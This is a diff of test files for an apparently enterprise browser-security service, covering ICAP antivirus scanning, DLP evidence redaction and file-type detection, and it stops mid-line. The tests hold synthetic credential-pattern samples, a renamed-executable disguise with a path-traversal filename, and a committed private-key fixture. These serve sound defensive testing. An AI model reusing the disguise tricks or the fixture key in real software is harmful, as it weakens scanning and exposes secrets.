result=previewPreset(p,'managed-ai').policy;assert.deepEqual(result.ai,p.ai);assert.deepEqual(result.browser.settings.lockedSections,['appearance']);assert.equal(managedSettings.featureAllowed(managedSettings.settingsState({policy:result,ready:true}),'ai'),true);assert.deepEqual(result.agents.scopes,['sessions','navigate','ai']);assert.equal(result.agents.allowSensitiveRead,false); + p.agents.scopes=['sessions'];p.browser.settings.lockedSections=['ai'];const narrow=previewPreset(p,'managed-ai').policy;assert.deepEqual(narrow.agents.scopes,['sessions']);assert.deepEqual(narrow.browser.settings.lockedSections,['ai']);assert.equal(managedSettings.featureAllowed(managedSettings.settingsState({policy:narrow,ready:true}),'ai'),false); +}); diff --git a/tests/enterprise-gateway.test.mjs b/tests/enterprise-gateway.test.mjs new file mode 100644 index 0000000..945fb50 --- /dev/null +++ b/tests/enterprise-gateway.test.mjs @@ -0,0 +1,28 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import net from 'node:net'; +import {createServer} from 'node:http'; +import {mkdtempSync,rmSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {createApp} from '../apps/server/app.mjs'; +import {openStore,digest} from '../apps/server/store.mjs'; + +test('central ICAP capability probe sends no content; gateway cannot bypass external scanning',async t=>{ + const directory=mkdtempSync(join(tmpdir(),'safetynet-enterprise-gateway-')),store=openStore(directory),adminToken='public-fixture-administrator-0123456789'; + const marker='PUBLIC_AV_TEST_MARKER';let scans=0,upstreamRequests=0,infectAnswer=false;const sockets=new Set(); + const icap=net.createServer(socket=>{sockets.add(socket);socket.once('close',()=>sockets.delete(socket));socket.on('error',()=>{});let input=Buffer.alloc(0),done=false;socket.on('data',chunk=>{input=Buffer.concat([input,chunk]);if(done||input.indexOf('\r\n\r\n')<0)return;const options=input.subarray(0,7).toString()==='OPTIONS';if(!options&&!input.subarray(-5).equals(Buffer.from('0\r\n\r\n')))return;done=true;if(options)return socket.end('ICAP/1.0 200 OK\r\nMethods: RESPMOD\r\nAllow: 204\r\nISTag: "fixture"\r\nEncapsulated: null-body=0\r\n\r\n');scans++;socket.end(input.includes(Buffer.from(marker))?'ICAP/1.0 200 OK\r\nEncapsulated: res-hdr=0, res-body=99\r\n\r\nHTTP/1.1 403 Forbidden':'ICAP/1.0 204 No Content\r\nISTag: "fixture"\r\n\r\n');});}).listen(0,'127.0.0.1');await new Promise(r=>icap.once('listening',r)); + const upstream=createServer((req,res)=>{upstreamRequests++;req.resume();res.setHeader('content-type','application/json');res.end(JSON.stringify({choices:[{message:{content:infectAnswer?marker:'Public safe answer'}}]}));}).listen(0,'127.0.0.1');await new Promise(r=>upstream.once('listening',r)); + const policy=store.get('policy');policy.ai={...policy.ai,enabled:true,trustMode:'local',model:'public-fixture-model'};policy.enterprise.icap={...policy.enterprise.icap,enabled:true,url:`icap://127.0.0.1:${icap.address().port}/av`,timeoutMs:1000};store.put('policy',policy); + const config={publicUrl:'http://127.0.0.1',secure:false,adminToken,requirePQManagement:true,aiBaseUrl:`http://127.0.0.1:${upstream.address().port}`,aiModel:policy.ai.model,aiEndpointId:'default'}; + const server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));const base=`http://127.0.0.1:${server.address().port}`; + t.after(async()=>{for(const socket of sockets)socket.destroy();for(const service of [server,upstream])service.closeAllConnections();await Promise.all([server,upstream,icap].map(service=>new Promise(r=>service.close(r))));store.db.close();assert.ok(directory.startsWith(join(tmpdir(),'safetynet-enterprise-gateway-')));rmSync(directory,{recursive:true,force:true});}); + async function api(route,body,token=adminToken){const response=await fetch(base+route,{method:'POST',headers:{authorization:`Bearer ${token}`,'content-type':'application/json'},body:JSON.stringify(body)});return {status:response.status,body:await response.json()};} + const code='public-fixture-one-use-enrollment-code';store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+60000,'public-user');const device=(await api('/api/device/enroll',{name:'public-device',platform:'win32',code},'')).body; + assert.equal((await api('/api/admin/integrations/icap/probe',policy.enterprise.icap,device.token)).status,401); + const probe=await api('/api/admin/integrations/icap/probe',policy.enterprise.icap);assert.equal(probe.status,200);assert.equal(probe.body.ready,true);assert.equal(probe.body.contentSent,false);assert.equal(scans,0); + const blocked=await api('/api/device/ai',{prompt:marker},device.token);assert.equal(blocked.status,403);assert.equal(upstreamRequests,0); + const allowed=await api('/api/device/ai',{prompt:'Public benign prompt'},device.token);assert.equal(allowed.status,200);assert.equal(allowed.body.answer,'Public safe answer');assert.equal(upstreamRequests,1); + infectAnswer=true;const response=await api('/api/device/ai',{prompt:'Public second prompt'},device.token);assert.equal(response.status,403);assert.equal(Object.hasOwn(response.body,'answer'),false); + const events=store.db.prepare('SELECT metadata FROM events').all();assert.equal(JSON.stringify(events).includes(marker),false);assert.equal(JSON.stringify(events).includes('Public benign prompt'),false);assert.ok(scans>=5); +}); diff --git a/tests/enterprise-inspection.test.mjs b/tests/enterprise-inspection.test.mjs new file mode 100644 index 0000000..b5622fc --- /dev/null +++ b/tests/enterprise-inspection.test.mjs @@ -0,0 +1,40 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createHash} from 'node:crypto'; +import inspection from '../apps/browser/enterprise-inspection.cjs'; +const bytes=Buffer.from('public test document'),digest=createHash('sha256').update(bytes).digest('hex'); +const policy={enterprise:{icap:{enabled:true,scanUploads:true,scanDownloads:true,scanClipboard:true,scanAI:true}},security:{yara:{enabled:false}}}; +const allow=()=>({decision:'allow',ruleId:'icap-clean',engine:'icap',sha256:digest,bytes:bytes.length,coverage:{complete:true}}); +test('selected channels require exact complete scanner approval and preserve immutable source bytes',async()=>{ + for(const channel of ['upload','download','clipboard','ai']){ + const source=Buffer.from(bytes);let snapshot; + const result=await inspection.scanEnterprise(source,policy,channel,async value=>{snapshot=value;assert.notEqual(value,source);assert.deepEqual(value,source);return allow();}); + assert.equal(result.decision,'allow');assert.deepEqual(source,bytes);assert.ok(snapshot.every(value=>value===0)); + for(const broken of [{...allow(),sha256:'wrong'},{...allow(),bytes:0},{...allow(),coverage:{complete:false}},{decision:'block',ruleId:'RAW COMPANY CONTENT'}])assert.equal((await inspection.scanEnterprise(source,policy,channel,async()=>broken)).decision,'block'); + } + const result=await inspection.scanEnterprise(bytes,policy,'upload',async value=>{value.fill(120);return allow();});assert.equal(result.decision,'block'); +}); +test('disabled channel never calls external services and configured outages cannot fail open',async()=>{ + const disabled={...policy,enterprise:{icap:{...policy.enterprise.icap,scanClipboard:false}}}; + assert.equal((await inspection.scanEnterprise(bytes,disabled,'clipboard',()=>assert.fail())).decision,'allow'); + assert.equal((await inspection.scanEnterprise(bytes,policy,'clipboard',async()=>{throw Error('private scanner detail');})).ruleId,'icap-unavailable'); + assert.throws(()=>inspection.icapRequired(policy,'unsupported')); +}); +test('external antivirus can scan downloads alone; every enabled scanner stays mandatory',async()=>{ + const dlp={inspect:async()=>({decision:'allow',coverage:{complete:true}})}; + assert.equal((await inspection.scanDownloadEnterprise(bytes,policy,dlp,async()=>allow())).decision,'allow'); + const both={...policy,security:{yara:{enabled:true}}}; + assert.equal((await inspection.scanDownloadEnterprise(bytes,both,null,()=>assert.fail())).decision,'block'); + const scanner={...dlp,scanDownload:async()=>({...allow(),engine:'yara'})};assert.equal((await inspection.scanDownloadEnterprise(bytes,both,scanner,async()=>allow())).decision,'allow'); + assert.equal((await inspection.scanDownloadEnterprise(bytes,both,scanner,async()=>({decision:'block',ruleId:'icap-threat'}))).ruleId,'icap-threat'); + assert.equal((await inspection.scanDownloadEnterprise(bytes,both,{...dlp,scanDownload:async()=>({...allow(),sha256:'wrong'})},()=>assert.fail())).ruleId,'yara-inspection-incomplete'); + assert.equal((await inspection.scanDownloadEnterprise(bytes,{...policy,enterprise:{icap:{enabled:false}}},null)).ruleId,'malware-scanner-required'); +}); +test('explicit no antivirus mode still requires complete DLP and never substitutes for an enabled failed scanner',async()=>{ + const p={...policy,enterprise:{icap:{enabled:false}},fileTransfers:{download:{allowWithoutMalwareScanner:true}}}; + assert.equal((await inspection.scanDownloadEnterprise(bytes,p,null)).ruleId,'download-dlp-unavailable'); + assert.equal((await inspection.scanDownloadEnterprise(bytes,p,{inspect:async()=>({decision:'allow'})})).ruleId,'download-dlp-incomplete'); + assert.equal((await inspection.scanDownloadEnterprise(bytes,p,{inspect:async()=>({decision:'block',ruleId:'company-secret'})})).ruleId,'company-secret'); + assert.equal((await inspection.scanDownloadEnterprise(bytes,p,{inspect:async()=>({decision:'allow',coverage:{complete:true}})})).decision,'allow'); + const mandatory={...p,security:{yara:{enabled:true}}};assert.equal((await inspection.scanDownloadEnterprise(bytes,mandatory,{inspect:async()=>({decision:'allow',coverage:{complete:true}})})).ruleId,'yara-unavailable'); +}); diff --git a/tests/evidence.test.mjs b/tests/evidence.test.mjs new file mode 100644 index 0000000..f243e45 --- /dev/null +++ b/tests/evidence.test.mjs @@ -0,0 +1,21 @@ +import test from 'node:test';import assert from 'node:assert/strict';import {mkdtempSync,writeFileSync,rmSync} from 'node:fs';import {tmpdir} from 'node:os';import {join} from 'node:path';import {randomBytes,randomUUID} from 'node:crypto';import {openStore,digest} from '../apps/server/store.mjs';import {createApp} from '../apps/server/app.mjs'; +async function fixture(t,{configured=true}={}){const dir=mkdtempSync(join(tmpdir(),'safetynet-evidence-')),keyFile=join(dir,'evidence.key');writeFileSync(keyFile,randomBytes(32));const store=openStore(dir),deviceToken='synthetic-device-evidence-credential-1234567890',id=randomUUID();store.db.prepare('INSERT INTO devices(id,token_hash,revoked) VALUES(?,?,0)').run(id,digest(deviceToken));const config={publicUrl:'http://127.0.0.1:4310',...(configured?{evidenceKeyFile:keyFile}:{})},server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});});const api=async(path,method='GET',body,role='device')=>{const credential=`synthetic-${role}-evidence-credential-1234567890`;if(role!=='device')store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+60000,JSON.stringify({sub:role,role}));const r=await fetch(`http://127.0.0.1:${server.address().port}${path}`,{method,headers:{...(role==='device'?{authorization:`Bearer ${deviceToken}`}:{cookie:`sn_session=${credential}`}),origin:config.publicUrl,'content-type':'application/json'},body:body?JSON.stringify(body):undefined});return {status:r.status,body:await r.json()};};const eventId=randomUUID();store.event(id,'clipboard.copy',{eventId,policyVersion:1});return {store,api,id,eventId,config};} +const evidence=eventId=>({eventId,type:'interaction',payload:{pageUrl:'https://intranet.example/document',action:'copy',content:'Synthetic confidential engineering detail',sensitiveField:false}}); +test('recognizable credentials in free text, target labels, filenames and encoded paths never persist',async t=>{ + const {api,store,eventId}=await fixture(t); + const values=['-----BEGIN PRIVATE KEY-----\nsynthetic','Bearer syntheticAuthorizationCredential123','Basic c3ludGhldGljOnBhc3N3b3Jk','password="synthetic-secret"','passwd=synthetic-secret','api_key: synthetic-secret','access-token=synthetic-secret','refresh_token=synthetic-secret','client_secret=synthetic-secret','sk-syntheticCredential1234567890','ghp_syntheticCredential1234567890','AKIAABCDEFGHIJKLMNOP','eyJsyntheticHeader.syntheticPayload.syntheticSignature']; + for(const content of values){assert.equal((await api('/api/device/evidence','POST',{...evidence(eventId),payload:{...evidence(eventId).payload,content}})).status,400,content.split(/[=: ]/)[0]);assert.equal((await api('/api/device/evidence','POST',{...evidence(eventId),payload:{...evidence(eventId).payload,content:undefined,target:{tag:'button',label:content}}})).status,400);} + assert.equal((await api('/api/device/evidence','POST',{...evidence(eventId),payload:{...evidence(eventId).payload,pageUrl:'https://example.test/password%3Dsynthetic-secret'}})).status,400); + const downloadEvent=randomUUID();store.event(store.db.prepare('SELECT id FROM devices LIMIT 1').get().id,'download.scan',{eventId:downloadEvent}); + assert.equal((await api('/api/device/evidence','POST',{eventId:downloadEvent,type:'download',payload:{sourceUrl:'https://example.test/download',name:'api_key=synthetic-secret.txt',sha256:'a'.repeat(64),bytes:10,mime:'text/plain',decision:'block'}})).status,400); + assert.equal(store.db.prepare('SELECT COUNT(*) n FROM protected_evidence').get().n,0); + assert.equal((await api('/api/device/evidence','POST',evidence(eventId))).status,201); +}); +test('encrypted evidence only decrypts for explicit admin permission and audited purpose',async t=>{const {api,store,eventId}=await fixture(t),body=evidence(eventId),created=await api('/api/device/evidence','POST',body);assert.equal(created.status,201);const row=store.db.prepare('SELECT * FROM protected_evidence').get();assert.equal(Buffer.from(row.ciphertext).includes(Buffer.from(body.payload.content)),false);for(const role of ['operator','auditor'])assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=investigation`,'GET',undefined,role)).status,403);assert.equal((await api(`/api/admin/evidence/${created.body.id}`,'GET',undefined,'admin')).status,400);const got=await api(`/api/admin/evidence/${created.body.id}?reason=incident-response`,'GET',undefined,'admin');assert.equal(got.status,200);assert.equal(got.body.payload.content,body.payload.content);const audit=store.db.prepare("SELECT metadata FROM events WHERE kind='evidence.accessed'").get();assert.equal(JSON.parse(audit.metadata).reason,'incident-response');assert.equal(store.db.prepare('SELECT metadata FROM events').all().some(r=>r.metadata.includes(body.payload.content)),false);assert.equal((await api('/api/device/evidence','POST',body)).status,409);}); +test('unknown credentials, password fields, token fields, unowned events and credential URLs reject',async t=>{const {api,eventId}=await fixture(t);for(const extra of [{password:'synthetic'},{authorization:'Bearer synthetic'},{sensitiveField:true},{pageUrl:'https://user:pass@example.test/'},{pageUrl:'https://example.test/?token=secret'}])assert.equal((await api('/api/device/evidence','POST',{...evidence(eventId),payload:{...evidence(eventId).payload,...extra}})).status,400);assert.equal((await api('/api/device/evidence','POST',evidence(randomUUID()))).status,404);assert.equal((await api('/api/device/evidence','POST',{...evidence(eventId),type:'download'})).status,400);}); +test('missing key fails closed and ciphertext tampering fails authentication',async t=>{const disabled=await fixture(t,{configured:false});assert.equal((await disabled.api('/api/device/evidence','POST',evidence(disabled.eventId))).status,503);const {api,store,eventId}=await fixture(t),created=await api('/api/device/evidence','POST',evidence(eventId));store.db.prepare('UPDATE protected_evidence SET expires_at=?').run('2099-01-01T00:00:00.000Z');assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=investigation`,'GET',undefined,'admin')).status,500);}); +test('audit failure rolls back evidence and prevents plaintext response',async t=>{const {api,store,eventId}=await fixture(t),emit=store.event;store.event=()=>{throw Error('synthetic audit failure');};assert.equal((await api('/api/device/evidence','POST',evidence(eventId))).status,500);assert.equal(store.db.prepare('SELECT COUNT(*) n FROM protected_evidence').get().n,0);store.event=emit;const created=await api('/api/device/evidence','POST',evidence(eventId));store.event=()=>{throw Error('synthetic audit failure');};const got=await api(`/api/admin/evidence/${created.body.id}?reason=investigation`,'GET',undefined,'admin');assert.equal(got.status,500);assert.equal(got.body.payload,undefined);store.event=emit;}); +test('retention preserves encrypted evidence source events',async t=>{const {api,store,eventId}=await fixture(t);await api('/api/device/evidence','POST',evidence(eventId));store.db.prepare('UPDATE events SET time=?').run('2020-01-01T00:00:00.000Z');const {pruneAuditEvents}=await import('../apps/server/audit-retention.mjs');pruneAuditEvents(store,{days:1,exportedThrough:1000,dryRun:false});assert.ok(store.db.prepare("SELECT id FROM events WHERE kind='clipboard.copy'").get());}); +test('download facts roundtrip while a different enrolled device cannot attach evidence',async t=>{const {api,store,id}=await fixture(t),eventId=randomUUID();store.event(id,'download.released',{eventId});const payload={sourceUrl:'https://downloads.example/package.exe',name:'package.exe',sha256:'a'.repeat(64),bytes:1024,mime:'application/octet-stream',decision:'allow'};const result=await api('/api/device/evidence','POST',{eventId,type:'download',payload});assert.equal(result.status,201);const detail=await api(`/api/admin/evidence/${result.body.id}?reason=compliance`,'GET',undefined,'admin');assert.deepEqual(detail.body.payload,payload);const other=randomUUID();store.db.prepare('INSERT INTO devices(id,revoked) VALUES(?,0)').run(other);const otherEvent=randomUUID();store.event(other,'clipboard.copy',{eventId:otherEvent});assert.equal((await api('/api/device/evidence','POST',evidence(otherEvent))).status,404);}); +test('expired access is denied; incident legal hold does not bypass ciphertext integrity',async t=>{const {api,store,eventId}=await fixture(t),created=await api('/api/device/evidence','POST',evidence(eventId));store.db.prepare('UPDATE protected_evidence SET expires_at=?').run('2000-01-01T00:00:00.000Z');assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=investigation`,'GET',undefined,'admin')).status,410);const source=store.db.prepare('SELECT source_event_id FROM protected_evidence').get().source_event_id,incident=await api('/api/admin/incidents','POST',{eventId:source},'admin');assert.equal(incident.status,201);assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=incident-response`,'GET',undefined,'admin')).status,500);}); +test('genuine expiry preserves readability only while the linked incident is active',async t=>{const now=Date.now();t.mock.timers.enable({apis:['Date'],now});const {api,store,eventId}=await fixture(t),created=await api('/api/device/evidence','POST',evidence(eventId));t.mock.timers.setTime(now+31*86400000);assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=investigation`,'GET',undefined,'admin')).status,410);const source=store.db.prepare('SELECT source_event_id FROM protected_evidence').get().source_event_id,incident=await api('/api/admin/incidents','POST',{eventId:source},'admin');assert.equal(incident.status,201);assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=incident-response`,'GET',undefined,'admin')).status,200);assert.equal((await api(`/api/admin/incidents/${incident.body.id}`,'PATCH',{expectedRevision:1,status:'resolved'},'admin')).status,200);assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=investigation`,'GET',undefined,'admin')).status,410);}); diff --git a/tests/file-transfer.test.mjs b/tests/file-transfer.test.mjs new file mode 100644 index 0000000..858a151 --- /dev/null +++ b/tests/file-transfer.test.mjs @@ -0,0 +1,18 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {FileTransfersSchema,detectType,inspectFileTransfer} from '../packages/core/file-transfer.mjs'; +test('actual signatures identify executable families and supported document/media containers',()=>{ + for(const [hex,type] of [['4d5a','pe'],['7f454c46','elf'],['cffaedfe','macho'],['255044462d','pdf'],['504b0304','zip'],['89504e470d0a1a0a','png'],['ffd8ff','jpeg'],['1f8b','gzip']])assert.equal(detectType(Buffer.from(hex,'hex')),type); + assert.equal(detectType(Buffer.from('GIF89a')),'gif');assert.equal(detectType(Buffer.from('RIFFxxxxWEBP')),'webp');assert.equal(detectType(Buffer.from('public UTF-8 ü')),'text');assert.equal(detectType(Buffer.from([0,255])),'unknown'); + assert.equal(detectType(Buffer.concat([Buffer.from('text prefix'),Buffer.from([0])])),'unknown'); +}); +test('renamed executables and MIME disguises cannot bypass magic policy',()=>{ + const bytes=Buffer.from('MZmalware');const p={fileTransfers:{download:{blockedTypes:['pe']}}}; + const v=inspectFileTransfer(bytes,p,'download',{filename:'../photo.png',mime:'image/png'});assert.equal(v.decision,'block');assert.equal(v.detectedType,'pe');assert.equal(v.extensionMismatch,true);assert.equal(v.mimeMismatch,true);assert.equal(v.filename,'photo.png');assert.equal(v.size,9);assert.match(v.sha256,/^[a-f0-9]{64}$/); + for(const field of ['blockExtensionMismatch','blockMimeMismatch'])assert.equal(inspectFileTransfer(bytes,{fileTransfers:{download:{[field]:true}}},'download',{filename:'photo.png',mime:'image/png'}).decision,'block'); +}); +test('direction-specific limits, allowlists and unknown coverage are centrally enforceable',()=>{ + for(const settings of [{maxBytes:1},{allowTypes:['pdf']},{blockUnknown:true}])assert.equal(inspectFileTransfer(Buffer.from([0,255]),{fileTransfers:{upload:settings}},'upload').decision,'block'); + assert.equal(inspectFileTransfer(Buffer.from('public'),{fileTransfers:{download:{allowTypes:['text']}}},'download').decision,'allow'); + const parsed=FileTransfersSchema.parse({});assert.equal(parsed.download.allowWithoutMalwareScanner,false);assert.throws(()=>FileTransfersSchema.parse({upload:{allowTypes:['exe']}})); +}); diff --git a/tests/fixtures/icap/cert.pem b/tests/fixtures/icap/cert.pem new file mode 100644 index 0000000..2b45530 --- /dev/null +++ b/tests/fixtures/icap/cert.pem @@ -0,0 +1,19 @@ +-----BEGIN CERTIFICATE----- +MIIDJTCCAg2gAwIBAgIUb9FhkNIJogUJwbSsuu7zo7lLjfUwDQYJKoZIhvcNAQEL +BQAwFDESMBAGA1UEAwwJbG9jYWxob3N0MB4XDTI2MTAxMjIxNDI0OVoXDTM2MTAw +OTIxNDI0OVowFDESMBAGA1UEAwwJbG9jYWxob3N0MIIBIjANBgkqhkiG9w0BAQEF +AAOCAQ8AMIIBCgKCAQEAn69Vq8q1tl1EOFCKi6Bq5mKsLfrLYZyaZbO46SEklODv +G0EqTakc4sRH7Ht181nsmE8BeaVVB2uRlEBKlczVwUfi9Kxkh6geNDBwUpV6HSN0 +z2SZhsbimv0vsogiJ8nDld0X06tjw+ipZsiDRvjH2dFJTKJms5HB7J4KxnrbmJ4n +V+b0Xleqlc3mEZ6K2iaTm3MEZuhTqe+HmV0jykpYKwaVLNl1SkQpuCEB0AIOKfVF +qenkldQYX0+xMKWSQjCOdENLx9Eqrcs29R0g+wDHQIpGOb9sW4rCouIRp+O17ccs +R98oAm0x2RQ8OcZq9DHwcLmg6Op19HIT8Ja4r2+jmwIDAQABo28wbTAdBgNVHQ4E +FgQU037P88Sc5WEXjwSgS2U896fLZmcwHwYDVR0jBBgwFoAU037P88Sc5WEXjwSg +S2U896fLZmcwDwYDVR0TAQH/BAUwAwEB/zAaBgNVHREEEzARgglsb2NhbGhvc3SH +BH8AAAEwDQYJKoZIhvcNAQELBQADggEBACixKy7R7haPWJ97fpSq0o5YTw948GGa +Z7aOZoAz59fA6x30dd02xO0BZegcgAd9uJBgX7q435BJ+magcj9Q/xZFy9OjcsCv +kAdc+CkqtH2dZjA7S4wxxyvDmgVD6I7XBgq5f2D0PE8MYCG8BIdH/4y+VOee+M4l +SmIgIK3eUo9Os/7bVPu0qGdWHJWq6krLj533ieYS41iaLH+UBcLad2qSVRuIyzWO +Ld0ujtXLeAS1tXVtHu0LfmbYbZEI41NVybPgkIfEhI0ynssxNgbDfh2IqV6YO+yX +/9Aa7DsDFS/Uac/Jhl7bQEp1aU+EirR8c59+YezKHCofyvdtFTo9gF4= +-----END CERTIFICATE----- diff --git a/tests/fixtures/icap/key.pem b/tests/fixtures/icap/key.pem new file mode 100644 index 0000000..81299ec --- /dev/null +++ b/tests/fixtures/icap/key.pem @@ -0,0 +1,28 @@ +-----BEGIN PRIVATE KEY----- +MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCfr1WryrW2XUQ4 +UIqLoGrmYqwt+sthnJpls7jpISSU4O8bQSpNqRzixEfse3XzWeyYTwF5pVUHa5GU +QEqVzNXBR+L0rGSHqB40MHBSlXodI3TPZJmGxuKa/S+yiCInycOV3RfTq2PD6Klm +yING+MfZ0UlMomazkcHsngrGetuYnidX5vReV6qVzeYRnoraJpObcwRm6FOp74eZ +XSPKSlgrBpUs2XVKRCm4IQHQAg4p9UWp6eSV1BhfT7EwpZJCMI50Q0vH0Sqtyzb1 +HSD7AMdAikY5v2xbisKi4hGn47XtxyxH3ygCbTHZFDw5xmr0MfBwuaDo6nX0chPw +lrivb6ObAgMBAAECggEABO1zK6mbW9+a6FChRde9v2g8v0Ulm4MqnIgkOkVvNzeN +s/3vIUBeXNJeac9m1LXqAB/dVXSi9WdTXGDI1xXgDrvPfBS0cXSK92Sl7VZ20zQH +Ob3KowcQx7mXtt75NthvXvjYmwvcjey9tXyV2Hh61PTery0KavDM1tFgVxREIdHL +Dv+TKbf8F5NHP9c3QYCbP11VIOGLfo8V/ZVTrojtEvhEywrE3WRY2gbobFiABM96 +wbND2g+UnT87mHKscIWkpOc9dEczyPlmRiLgKPaaJkw1b2yHgKgJoljuHt0cTleT +bPF+D9fAiT885iK3Lg+xT2peehb0cnhZKWl4ytKaQQKBgQDU32rDlFgTrefrkEv6 +arNGMNlRSu46d5r6giPJTQ9AU/Thn1Lvjq1UsoF02rcGAUoCeRgPTM0cAv09WWC8 +hfW7g7VUVa/cFkFxUIFMm1CIo+B7XSUSZH/95AoMieJmgfsMMVwwQN3nwCqGNqIh +v8PU8rJxPXYVCTJ/DDY2tYk3uwKBgQDACVivCwDAsWCJUmJq3/YDc46KMeAkk4R1 +NS9R0H1uhdd1nNsNPomCe4FzUDvsBHHDOzJu4LUgHz4MwWt1QGryr5aSR6P6eVhU +aCp0e9zqUWzwKrYVShlKCNNRumT/JnFka8yOWf5MzEW4ifaBkGPkKQt2KZtMnH7L +ezAVaX/VoQKBgH/7mwrfY1zhj7A23xc9k28960pOzI/mXQ0DtVRPuj2ovG/yBED2 +/QsRD3gcDzHTEJYQDAEW4bJXsb1ywRBXUfhdJWYA5mxiDRJ9nl9aeb7NGCfTRnia +Z8FTmx8Sv0V2HGOmQZDZTxEIngh3TF8SFkEvcU1X8GiRUQTFaMrXthoFAoGANIwa +LUO4gAHJZaoabh48hjM/pMcDC18mVqAoA54mRHDxRSiXtCcRn5fGE1S4INwSeRag +tUBdr5188CaZDeuDmEa9z+c0kpxTtD0QqPEfwSpowcseKfMtullx4aI8cqkFTDJH +NgigEkmvJlDyF//3pX4pubqm2S7Vbz6VKLbGmSECgYBjCPGqoNi4pQ+Olt/Wx7pK +HzRp8o6aDzNToAZTg9/ybJFnXzD7GtRCeI+ubbYDZGmyj39n1I5h3y2KwuCzo5Up +5ufSUQR3Hfiv/YiaaS8clrgdvcCw2U/4rAMPq5fvB+7LVZb755RaZ3WALkKO8OMQ +QGcrm42aN1rXppaS9ATmrg== +-----END PRIVATE KEY----- diff --git a/tests/icap-client.test.mjs b/tests/icap-client.test.mjs new file mode 100644 index 0000000..1da2940 --- /dev/null +++ b/tests/icap-client.test.mjs @@ -0,0 +1,38 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import net from 'node:net'; +import tls from 'node:tls'; +import fs from 'node:fs'; +import {createRequire} from 'node:module'; +const {scanIcap,probeIcap}=createRequire(import.meta.url)('../apps/browser/icap-client.cjs'); +const cert=fs.readFileSync(new URL('./fixtures/icap/cert.pem',import.meta.url)); +const key=fs.readFileSync(new URL('./fixtures/icap/key.pem',import.meta.url)); +async function fixture(t,{secure=false,response='ICAP/1.0 204 No Content\r\nISTag: "fixture"\r\n\r\n',allow=true,methods='RESPMOD, REQMOD',fragment=false}={}) { + const requests=[]; const sockets=new Set(); + const handler=socket=>{sockets.add(socket);socket.on('error',()=>{});socket.on('close',()=>sockets.delete(socket));let input=Buffer.alloc(0),done=false; + socket.on('data',chunk=>{input=Buffer.concat([input,chunk]);const boundary=input.indexOf('\r\n\r\n');if(done||boundary<0)return; + const options=input.subarray(0,7).toString()==='OPTIONS'; + if(!options&&!input.subarray(-5).equals(Buffer.from('0\r\n\r\n')))return; + done=true;requests.push(Buffer.from(input)); + const output=options?`ICAP/1.0 200 OK\r\nMethods: ${methods}\r\nISTag: "fixture"\r\n${allow?'Allow: 204\r\n':''}Encapsulated: null-body=0\r\n\r\n`:response; + if(output===null)return; + if(fragment){socket.write(output.slice(0,18));setTimeout(()=>socket.end(output.slice(18)),5);}else socket.end(output); + });}; + const server=secure?tls.createServer({key,cert},handler):net.createServer(handler); + await new Promise(resolve=>server.listen(0,'127.0.0.1',resolve)); + t.after(async()=>{for(const socket of sockets)socket.destroy();await new Promise(resolve=>server.close(resolve));}); + return {requests,config:{url:`${secure?'icaps':'icap'}://127.0.0.1:${server.address().port}/av`,method:'RESPMOD',allow204:true,timeoutMs:500,maxBytes:1024}}; +} +test('full-message fragmented ICAP exchange allows unchanged bytes and omits private metadata',async t=>{ + const f=await fixture(t,{fragment:true});const bytes=Buffer.from('public fixture');const r=await scanIcap(bytes,f.config); + assert.equal(r.decision,'allow');assert.equal(r.coverage.complete,true);assert.equal(r.bytes,bytes.length); + const scan=f.requests[1].toString();assert.match(scan,/RESPMOD .* ICAP\/1.0/);assert.match(scan,/Allow: 204/);assert.match(scan,/Encapsulated: res-hdr=0, res-body=\d+/);assert.ok(scan.endsWith('e\r\npublic fixture\r\n0\r\n\r\n'));assert.ok(!scan.includes('Preview:')); +}); +test('REQMOD has genuine request-header and request-body sections',async t=>{const f=await fixture(t);f.config.method='REQMOD';assert.equal((await scanIcap(Buffer.from('abc'),f.config)).decision,'allow');assert.match(f.requests[1].toString(),/req-hdr=0, req-body=\d+/);assert.match(f.requests[1].toString(),/POST \/scan\/object HTTP\/1.1/);}); +test('server adaptations and threat headers block the original',async t=>{for(const response of ['ICAP/1.0 200 OK\r\nEncapsulated: res-hdr=0, res-body=99\r\n\r\nHTTP/1.1 403 Forbidden','ICAP/1.0 204 No Content\r\nISTag: "fixture"\r\nX-Infection-Found: Type=0; Threat=fixture;\r\n\r\n']){const f=await fixture(t,{response});assert.equal((await scanIcap(Buffer.from('abc'),f.config)).decision,'block');}}); +test('204 requires explicit signed opt-in and server capability agreement',async t=>{const f=await fixture(t);f.config.allow204=false;assert.equal((await scanIcap(Buffer.from('abc'),f.config)).decision,'block');const g=await fixture(t,{allow:false});assert.equal((await scanIcap(Buffer.from('abc'),g.config)).ruleId,'icap-capability');assert.equal(g.requests.length,1);}); +test('unsupported service and malformed duplicate headers fail closed',async t=>{const f=await fixture(t,{methods:'REQMOD'});assert.equal((await probeIcap(f.config)).ready,false);const g=await fixture(t,{response:'ICAP/1.0 204 No Content\r\nISTag: "one"\r\nISTag: "two"\r\n\r\n'});assert.equal((await scanIcap(Buffer.from('abc'),g.config)).coverage.complete,false);}); +test('deadline destroys stalled sockets, oversized content is never transmitted',async t=>{const f=await fixture(t,{response:null});f.config.timeoutMs=60;assert.equal((await scanIcap(Buffer.from('abc'),f.config)).ruleId,'icap-unavailable');f.config.maxBytes=2;assert.equal((await scanIcap(Buffer.from('abc'),f.config)).ruleId,'icap-oversize');}); +test('ICAPS validates CA and hostname and never accepts untrusted certificates',async t=>{const f=await 